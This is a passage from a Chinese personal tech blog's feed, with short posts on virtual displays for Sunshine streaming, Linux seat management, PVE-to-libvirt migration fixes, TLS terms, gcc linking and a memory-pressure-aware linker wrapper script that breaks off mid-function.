# https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;LizardByte&amp;#x2F;Sunshine&amp;#x2F;releases&amp;#x2F;tag&amp;#x2F;v2025.924.154138
sudo apt install .&amp;#x2F;sunshine-ubuntu-24.04-amd64.deb

# 客户端安装moonlight(作为第二屏幕的主机)
sudo flatpak install com.moonlight_stream.Moonlight
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;xu-ni-xian-shi-qi&quot;&gt;虚拟显示器？&lt;&#x2F;h1&gt;
&lt;p&gt;使用 Wayland + vkms + Weston headless&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;modinfo vkms | grep filename
sudo modprobe vkms
ls &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;drm | grep card

# &amp;#x2F;etc&amp;#x2F;modprobe.d&amp;#x2F;vkms.conf
# 示例：创建两个 vkms 虚拟显示器
options vkms nodes=2

sudo apt install libdrm-tests
modetest -M vkms | grep -i connect
sudo apt install wlroots-utils
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;vainfo --display drm --device &amp;#x2F;dev&amp;#x2F;dri&amp;#x2F;renderD128
pactl info
sudo apt install -y x11-xserver-utils weston
# 主要是 modetest 检查 DRM 输出，Wayland 原生可以使用 wlr-randr 或 Weston 的虚拟输出测试
weston --backend=headless-backend.so --socket=wayland-headless-0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install edid-decode read-edid
sudo get-edid &amp;gt; &amp;#x2F;lib&amp;#x2F;firmware&amp;#x2F;edid&amp;#x2F;1080p.bin

sudo tee &amp;#x2F;etc&amp;#x2F;modprobe.d&amp;#x2F;vkms.conf &amp;lt;&amp;lt;&amp;#x27;EOF&amp;#x27;
options vkms enable_cursor=1 enable_overlay=1 edid_firmware=edid&amp;#x2F;1080p.bin
EOF

sudo modprobe -r vkms
sudo modprobe vkms

cat &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;drm&amp;#x2F;card0-Virtual-1&amp;#x2F;edid | edid-decode

sudo cat &amp;#x2F;sys&amp;#x2F;kernel&amp;#x2F;debug&amp;#x2F;dri&amp;#x2F;0&amp;#x2F;state
modetest -M vkms -s 63@38:1920x1080

sudo udevadm trigger --subsystem-match=drm --action=change
sudo apt install drm-info
drm_info &amp;#x2F;dev&amp;#x2F;dri&amp;#x2F;card0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;debian13-zhong-mei-you-vkms&quot;&gt;debian13 中没有vkms?&lt;&#x2F;h1&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;特性&lt;&#x2F;th&gt;&lt;th&gt;vkms&lt;&#x2F;th&gt;&lt;th&gt;virtio-gpu&lt;&#x2F;th&gt;&lt;th&gt;qxl&lt;&#x2F;th&gt;&lt;th&gt;dummy X11&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;驱动位置&lt;&#x2F;td&gt;&lt;td&gt;内核 DRM&lt;&#x2F;td&gt;&lt;td&gt;内核 DRM&lt;&#x2F;td&gt;&lt;td&gt;内核 DRM&lt;&#x2F;td&gt;&lt;td&gt;用户态 X11&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;显示输出&lt;&#x2F;td&gt;&lt;td&gt;✅ DRM 原生&lt;&#x2F;td&gt;&lt;td&gt;✅ DRM 原生&lt;&#x2F;td&gt;&lt;td&gt;✅ DRM 原生&lt;&#x2F;td&gt;&lt;td&gt;❌ 无 DRM 节点&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;硬件依赖&lt;&#x2F;td&gt;&lt;td&gt;无（纯虚拟）&lt;&#x2F;td&gt;&lt;td&gt;需虚拟化环境&lt;&#x2F;td&gt;&lt;td&gt;需 QEMU&#x2F;SPICE&lt;&#x2F;td&gt;&lt;td&gt;无&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;性能&lt;&#x2F;td&gt;&lt;td&gt;软件模拟，较慢&lt;&#x2F;td&gt;&lt;td&gt;中等&lt;&#x2F;td&gt;&lt;td&gt;中等&lt;&#x2F;td&gt;&lt;td&gt;慢&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Sunshine 兼容&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;⚠️ 需 Xwayland&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;GNOME 可识别&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;pei-zhi-kms&quot;&gt;配置KMS&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;在电脑上安装 Sunshine，平板上安装 Moonlight，确保能搜索到并能正常控制电脑；&lt;&#x2F;li&gt;
&lt;li&gt;用下面的命令枚举所有设备接口的连接情况，选择一个未连接（disconnected）的 HDMI 接口（如 HDMI-A-1），记下它：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;for p in &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;drm&amp;#x2F;*&amp;#x2F;status; do con=${p%&amp;#x2F;status}; echo -n &amp;quot;${con#*&amp;#x2F;card?-}: &amp;quot;; cat $p; done 
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;在 &#x2F;usr&#x2F;lib&#x2F;firmware&#x2F; 下创建一个新的 edid 目录（如果没有），并将你的 edid 文件放在那里。例如 &#x2F;usr&#x2F;lib&#x2F;firmware&#x2F;edid&#x2F;samsung-q800t-hdmi2.1；&lt;&#x2F;li&gt;
&lt;li&gt;编辑内核参数，添加以下内容。其中 HDMI-A-1 是你选择的接口，edid&#x2F;samsung-q800t-hdmi2.1 是你的 EDID 文件。注意不要漏了最后的 :e：&lt;&#x2F;li&gt;
&lt;li&gt;drm.edid_firmware=HDMI-A-1:edid&#x2F;samsung-q800t-hdmi2.1 video=HDMI-A-1:e&lt;&#x2F;li&gt;
&lt;li&gt;重启电脑。如果一切正常，你的电脑会认为有一个新的 HDMI 显示器连接上了，而实际上它是一个虚拟显示器；&lt;&#x2F;li&gt;
&lt;li&gt;在命令行中运行 sunshine，查看其输出的 KMS Monitor List，找到你的 HDMI 接口对应的编号，停止 Sunshine；&lt;&#x2F;li&gt;
&lt;li&gt;在正常启动的 Sunshine 的设置中填入上一步的编号，应用设置，确定其投屏的来源是你的虚拟显示器。&lt;&#x2F;li&gt;
&lt;li&gt;这样就完成了，你可以在 KDE 设置中像普通显示器那样配置该虚拟显示器的分辨率和空间位置，甚至可以在不用时禁用该显示器。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux 中的seat管理</title>
        <published>2025-11-06T21:53:55+08:00</published>
        <updated>2025-11-06T21:53:55+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/11/linux 中的seat管理/"/>
        <id>https://vercel.juzhong.asia/2025/11/linux 中的seat管理/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/11/linux 中的seat管理/">&lt;h1 id=&quot;seatyi-ban-kong-zhi-na-xie-she-bei&quot;&gt;seat一般控制哪些设备&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;哪些设备属于一个 seat、由谁配置&#x2F;控制，是掌握 Linux 图形会话、多用户、多终端安全模型的关键&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Seat 管理的设备主要包括：GPU（DRM&#x2F;KMS）、输入设备（键盘&#x2F;鼠标&#x2F;触摸屏等）、声音设备（可选）和串口&#x2F;智能卡读卡器（高级场景）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;这些设备的归属由 udev 规则标记，并由 systemd-logind 在运行时动态分配给活跃的图形会话（session）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;图形设备	&#x2F;dev&#x2F;dri&#x2F;card0, &#x2F;dev&#x2F;dri&#x2F;renderD128	GPU，用于显示输出和硬件加速&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;输入设备	&#x2F;dev&#x2F;input&#x2F;event*	键盘、鼠标、触摸板、触控屏、Tablet 等&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;TTY 控制台	&#x2F;dev&#x2F;tty0, &#x2F;dev&#x2F;tty1 ...	虚拟终端（VT），seat 通常绑定到一个 VT&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;音频设备（可选）	&#x2F;dev&#x2F;snd&#x2F;*	某些系统将声卡绑定到 seat（非强制）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;其他外设（可选）	&#x2F;dev&#x2F;ttyS0, &#x2F;dev&#x2F;usb&#x2F;hiddev*	如串口、智能卡读卡器（企业&#x2F;嵌入式场景）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;⚠️ 注意：网络设备、存储设备（如 &#x2F;dev&#x2F;sda）不属于 seat，它们是全局共享的。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;如果未设置 ID_SEAT，设备默认属于 seat0（主 seat）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&#x2F;etc&#x2F;udev&#x2F;rules.d&#x2F;99-seat1.rules&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;将特定 USB 键鼠绑定到 seat1&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;SUBSYSTEM==&quot;input&quot;, ATTRS{idVendor}==&quot;abcd&quot;, ATTRS{idProduct}==&quot;1234&quot;, ENV{ID_SEAT}=&quot;seat1&quot;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;将特定 GPU 绑定到 seat1&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;SUBSYSTEM==&quot;drm&quot;, KERNEL==&quot;card1&quot;, ENV{ID_SEAT}=&quot;seat1&quot;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 列出所有 seats
loginctl list-seats
# 查看 seat0 的详细信息（含设备）
loginctl show-seat seat0 -p ActiveSession -p Devices

# 查看某个输入设备是否属于 seat0
udevadm info &amp;#x2F;dev&amp;#x2F;input&amp;#x2F;event4 | grep ID_SEAT
# 查看是否有 uaccess 标签
udevadm info &amp;#x2F;dev&amp;#x2F;dri&amp;#x2F;card0 | grep TAGS
# 输出应包含: :uaccess:

# 使用 loginctl 工具将一个设备永久地分配给一个特定的 Seat
loginctl attach [SEAT_ID] [DEVICE_SYSFS_PATH]
    [SEAT_ID]: 你想分配到的 Seat 名称，例如 seat1。
    [DEVICE_SYSFS_PATH]: 设备的 SysFS 路径，例如 &amp;#x2F;sys&amp;#x2F;devices&amp;#x2F;pci0000:00&amp;#x2F;...&amp;#x2F;drm&amp;#x2F;card1。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;duo-seatkong-zhi-guan-li&quot;&gt;多seat控制管理&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;假设你有一台机器，接了两套显示器+键鼠：
&lt;ul&gt;
&lt;li&gt;Seat0：主板 HDMI + 内置键盘 → 用户 A 登录 GNOME&lt;&#x2F;li&gt;
&lt;li&gt;Seat1：PCIe 独立显卡 + USB 键鼠 → 用户 B 登录 Sway&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;你需要：
&lt;ul&gt;
&lt;li&gt;创建 udev 规则，将独显和 USB 设备标记为 ID_SEAT=seat1&lt;&#x2F;li&gt;
&lt;li&gt;启动两个图形会话（分别绑定到不同 TTY）&lt;&#x2F;li&gt;
&lt;li&gt;systemd-logind 自动为每个 session 授权对应设备&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;此时：
&lt;ul&gt;
&lt;li&gt;用户 A 无法看到用户 B 的屏幕内容；&lt;&#x2F;li&gt;
&lt;li&gt;用户 B 的键盘不会影响用户 A；&lt;&#x2F;li&gt;
&lt;li&gt;GPU 资源完全隔离。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>漏洞挖掘方法</title>
        <published>2025-11-05T15:49:12+08:00</published>
        <updated>2025-11-05T15:49:12+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/11/漏洞挖掘方法/"/>
        <id>https://vercel.juzhong.asia/2025/11/漏洞挖掘方法/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/11/漏洞挖掘方法/">&lt;h1 id=&quot;lou-dong-wa-jue&quot;&gt;漏洞挖掘&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;软件成分分析
&lt;ul&gt;
&lt;li&gt;识别分析某一个软件中所使用的组件与第三方库的来源、版本、许可证信息的技术&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;已知漏洞(漏洞扫描)&lt;&#x2F;li&gt;
&lt;li&gt;静态分析&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>浏览器指纹</title>
        <published>2025-11-05T14:52:40+08:00</published>
        <updated>2025-11-05T14:52:40+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/11/浏览器指纹/"/>
        <id>https://vercel.juzhong.asia/2025/11/浏览器指纹/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/11/浏览器指纹/">&lt;h1 id=&quot;liu-lan-qi-zhi-wen&quot;&gt;浏览器指纹&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;操作系统&lt;&#x2F;li&gt;
&lt;li&gt;cpu架构&lt;&#x2F;li&gt;
&lt;li&gt;系统支持的字体遍历&lt;&#x2F;li&gt;
&lt;li&gt;窗口大小、显示器大小&lt;&#x2F;li&gt;
&lt;li&gt;禁用 Canvas 图像提取&lt;&#x2F;li&gt;
&lt;li&gt;集成 NoScript 以及第一方域名隔离&lt;&#x2F;li&gt;
&lt;li&gt;利用字体、功能、行为特征等等（无论是否使用 JavaScript）&lt;&#x2F;li&gt;
&lt;li&gt;tls 指纹&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>gcc 参数</title>
        <published>2025-11-05T11:48:23+08:00</published>
        <updated>2025-11-05T11:48:23+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/11/gcc 参数/"/>
        <id>https://vercel.juzhong.asia/2025/11/gcc 参数/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/11/gcc 参数/">&lt;h1 id=&quot;g-lian-jie-shi-start-grouphe-end-groupde-zuo-yong&quot;&gt;g++链接时，--start-group和--end-group的作用&lt;&#x2F;h1&gt;
&lt;p&gt;在使用g++进行链接时，库之间的符号依赖可能导致链接失败&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;例如，当库A依赖库B中的符号，而库B又需要库A中的符号时，传统的链接顺序无法满足这种循环依赖&lt;&#x2F;li&gt;
&lt;li&gt;此时，&lt;code&gt;--start-group&lt;&#x2F;code&gt;和&lt;code&gt;--end-group&lt;&#x2F;code&gt;选项就显得尤为重要&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;&#x2F;strong&gt;：它们告诉链接器在指定的组内反复扫描目标文件和库，直到不再有新的符号被解析为止，从而解决复杂的依赖问题&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;正确用法&lt;&#x2F;strong&gt;：将相关的目标文件或库放置在&lt;code&gt;--start-group&lt;&#x2F;code&gt;和&lt;code&gt;--end-group&lt;&#x2F;code&gt;之间&lt;&#x2F;li&gt;
&lt;li&gt;例如： &lt;code&gt;bash g++ -o myapp --start-group libA.a libB.a --end-group &lt;&#x2F;code&gt; 此命令确保&lt;code&gt;libA.a&lt;&#x2F;code&gt;和&lt;code&gt;libB.a&lt;&#x2F;code&gt;之间的依赖关系被正确解析，即使存在循环依赖。&lt;&#x2F;li&gt;
&lt;li&gt;忘记添加&lt;code&gt;--end-group&lt;&#x2F;code&gt;，链接器可能报错或行为异常；滥用该选项可能导致链接时间增加&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>vocabulary 常用专业术语</title>
        <published>2025-11-05T11:41:45+08:00</published>
        <updated>2025-12-31T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/11/vocabulary 常用专业术语/"/>
        <id>https://vercel.juzhong.asia/2025/11/vocabulary 常用专业术语/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/11/vocabulary 常用专业术语/">&lt;h1 id=&quot;tls&quot;&gt;tls&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;KDF(Key derivation function) 密钥派生函数
&lt;ul&gt;
&lt;li&gt;可用于将密钥扩展到更长的密钥或获得所需格式的密钥&lt;&#x2F;li&gt;
&lt;li&gt;非秘密参数被称为盐&lt;&#x2F;li&gt;
&lt;li&gt;相比其他加密哈希算法，KDF 具有一个独特属性——计算速度很慢，而且从设计上就使其计算速度难以提升，所以 KDF 也被称作「慢哈希算法」&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;AEAD(Authenticated_Encrypted_with_associated_data)
&lt;ul&gt;
&lt;li&gt;chacha20poly1305&lt;&#x2F;li&gt;
&lt;li&gt;aes-gcm aes-ccm&lt;&#x2F;li&gt;
&lt;li&gt;在TLS1.3中，当使用如ChaCha20-Poly1305这样的AEAD加密套件时,已不再需要独立的 HMAC 运算&lt;&#x2F;li&gt;
&lt;li&gt;TLS 1.3在设计上移除了&quot;MAC-then-Encrypt&quot;的组合方式，这种组合曾被曝出存在 BEAST、Lucky 13 等安全漏洞&lt;&#x2F;li&gt;
&lt;li&gt;注意 AEAD 密码套件中的 HASH：
&lt;ul&gt;
&lt;li&gt;以TLS_CHACHA20_POLY1305_SHA256为例，其中的 SHA256不是用来对消息记录做HMAC认证的&lt;&#x2F;li&gt;
&lt;li&gt;这个SHA256是用于TLS握手过程中的密钥派生函数,特别是HKDF-Extract和HKDF-Expand，用来从握手产生的秘密信息中派生出会话密钥、nonce 等加密参数&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;HKDF（HMAC_based_key_derivation_function）&lt;&#x2F;li&gt;
&lt;li&gt;ECDHE(Ephemeral Elliptic Curve Diffie-Hellman ephemeral)
&lt;ul&gt;
&lt;li&gt;curve25519 x25519 ed25519&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;ai&quot;&gt;AI&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;RAG Retrieval-Augmented Generation&lt;&#x2F;li&gt;
&lt;li&gt;LoRA Low-Rank Adaptation&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>从pve切换到libvirt 问题排查</title>
        <published>2025-11-02T00:30:58+08:00</published>
        <updated>2025-11-02T00:30:58+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/11/从pve切换到libvirt 问题排查/"/>
        <id>https://vercel.juzhong.asia/2025/11/从pve切换到libvirt 问题排查/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/11/从pve切换到libvirt 问题排查/">&lt;h1 id=&quot;qian-yi-xu-ni-ji-wen-ti-ji-lu&quot;&gt;迁移虚拟机问题记录&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 因为apparmor的限制 libvirt 访问&amp;#x2F;var&amp;#x2F;lib&amp;#x2F;vz&amp;#x2F;images目录会遇到权限问题, 所有将虚拟机文件迁移到libvirt目录中
# 可能会遇到pve中的模板文件移动失败: 修改attr后再执行
sudo chattr -i &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;vz&amp;#x2F;images&amp;#x2F;100&amp;#x2F;base-100-disk-0.qcow2
sudo lsattr &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;vz&amp;#x2F;images&amp;#x2F;100&amp;#x2F;base-100-disk-0.qcow2
sudo mv &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;vz&amp;#x2F;images&amp;#x2F;* &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;

sudo chown libvirt-qemu:libvirt-qemu &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;100&amp;#x2F;
sudo chmod 755 &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;100

# 直接使用宿主机中的vmbr0网桥, 虚拟机无网络, 需要开启宿主机转发功能
sudo iptables -P FORWARD ACCEPT
sudo sysctl -w net.ipv4.ip_forward=1
sudo sysctl net | grep ip_forward

sudo apt netfilter-persistent
sudo netfilter-persistent save
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>rustc-wrapper(linker)解决cargo并行链接OOM问题</title>
        <published>2025-10-31T09:52:15+08:00</published>
        <updated>2025-10-31T09:52:15+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/10/rustc-wrapper(linker)解决cargo并行链接OOM问题/"/>
        <id>https://vercel.juzhong.asia/2025/10/rustc-wrapper(linker)解决cargo并行链接OOM问题/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/10/rustc-wrapper(linker)解决cargo并行链接OOM问题/">&lt;h1 id=&quot;bao-zhuan-linkerde-fang-shi&quot;&gt;包转linker的方式&lt;&#x2F;h1&gt;
&lt;p&gt;ld_wrapper.sh
并没有验证通过ORZ?&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;bash
# 通用链接器包装器 - ld_generic_wrapper.sh

PRESSURE_THRESHOLD=&amp;quot;0.10&amp;quot;          # 内存压力阈值（10%）
MAX_WAIT_TIME=600                  # 最大等待时间（秒）
MIN_WAIT_TIME=5                    # 最小等待时间（秒） 
MAX_RETRIES=100                    # 最大重试次数
PRESSURE_FILE=&amp;quot;&amp;#x2F;sys&amp;#x2F;fs&amp;#x2F;cgroup&amp;#x2F;user.slice&amp;#x2F;user-$(id -u).slice&amp;#x2F;memory.pressure&amp;quot;
REAL_LD=&amp;quot;&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;ld&amp;quot;              # 真实链接器路径，可根据需要修改
LOG_FILE=&amp;quot;&amp;#x2F;tmp&amp;#x2F;linker_wrapper.log&amp;quot; # 日志文件路径

# 检测真实链接器
detect_real_linker() {
    local wrapper_name=$(basename &amp;quot;$0&amp;quot;)
    case &amp;quot;$wrapper_name&amp;quot; in
        *ld*)
            REAL_LD=&amp;quot;&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;ld&amp;quot;
            ;;
        *lld*)
            REAL_LD=&amp;quot;&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;lld&amp;quot;
            ;;
        *gold*)
            REAL_LD=&amp;quot;&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;gold&amp;quot;
            ;;
        *)
            REAL_LD=&amp;quot;&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;ld&amp;quot;
            ;;
    esac
    
    # 检查链接器是否存在
    if [[ ! -x &amp;quot;$REAL_LD&amp;quot; ]]; then
        # 尝试在PATH中查找
        REAL_LD=$(which &amp;quot;${wrapper_name#wrapper_}&amp;quot;) || REAL_LD=&amp;quot;&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;ld&amp;quot;
    fi
}

# 日志函数
log_message() {
    echo &amp;quot;$(date &amp;#x27;+%Y-%m-%d %H:%M:%S&amp;#x27;) - $1&amp;quot; &amp;gt;&amp;gt; &amp;quot;$LOG_FILE&amp;quot;
}

# 其余函数与之前相同...
get_some_avg10() {
    local pressure_file=$1
    if [[ -f &amp;quot;$pressure_file&amp;quot; ]]; then
        local line=$(grep &amp;quot;^some&amp;quot; &amp;quot;$pressure_file&amp;quot;)
        if [[ $line =~ avg10=([0-9.]+) ]]; then
            echo &amp;quot;${BASH_REMATCH[1]}&amp;quot;
            return 0
        fi
    fi
    echo &amp;quot;0.00&amp;quot;
}

wait_for_low_memory_pressure() {
    local retry_count=0
    local current_pressure
    
    while [[ $retry_count -lt $MAX_RETRIES ]]; do
        current_pressure=$(get_some_avg10 &amp;quot;$PRESSURE_FILE&amp;quot;)
        
        # 使用bc进行浮点数比较
        if command -v bc &amp;gt;&amp;#x2F;dev&amp;#x2F;null 2&amp;gt;&amp;amp;1; then
            # 如果有bc，进行精确比较
            if (( $(echo &amp;quot;$current_pressure &amp;lt; $PRESSURE_THRESHOLD&amp;quot; | bc -l) )); then
                log_message &amp;quot;内存压力正常 ($current_pressure &amp;lt; $PRESSURE_THRESHOLD)，开始执行链接&amp;quot;
                return 0
            fi
        else
            # 如果没有bc，使用bash内置的数值比较（假设压力值小于10）
            if (( $(echo &amp;quot;${current_pressure} &amp;lt; ${PRESSURE_THRESHOLD}&amp;quot; | tr -d &amp;#x27;.&amp;#x27; | head -c3) &amp;lt; $(echo &amp;quot;${PRESSURE_THRESHOLD}&amp;quot; | tr -d &amp;#x27;.&amp;#x27; | head -c3) )); then
                log_message &amp;quot;内存压力正常 ($current_pressure &amp;lt; $PRESSURE_THRESHOLD)，开始执行链接&amp;quot;
                return 0
            fi
        fi
        
        # 计算随机等待时间
        local wait_time=$(( MIN_WAIT_TIME + RANDOM % (MAX_WAIT_TIME - MIN_WAIT_TIME + 1) ))
        
        log_message &amp;quot;内存压力过高: $current_pressure (阈值: $PRESSURE_THRESHOLD), 等待 ${wait_time}秒后重试 (尝试: $((retry_count + 1))&amp;#x2F;$MAX_RETRIES)&amp;quot;
        
        # 等待
        sleep $wait_time
        
        ((retry_count++))
    done
    
    log_message &amp;quot;错误: 达到最大重试次数 ($MAX_RETRIES)，内存压力仍过高: $current_pressure&amp;quot;
    return 1
}

main() {
    log_message &amp;quot;链接器包装器被调用，参数: $*&amp;quot;

    detect_real_linker
    log_message &amp;quot;$(date) - 链接器包装器调用: $REAL_LD, 参数: $*&amp;quot; &amp;gt;&amp;gt; &amp;quot;$LOG_FILE&amp;quot;
    
    if ! wait_for_low_memory_pressure; then
        log_message &amp;quot;错误: 内存压力持续过高&amp;quot; &amp;gt;&amp;amp;2
        return 1
    fi
    
    log_message &amp;quot;执行真实链接器: $REAL_LD $*&amp;quot;
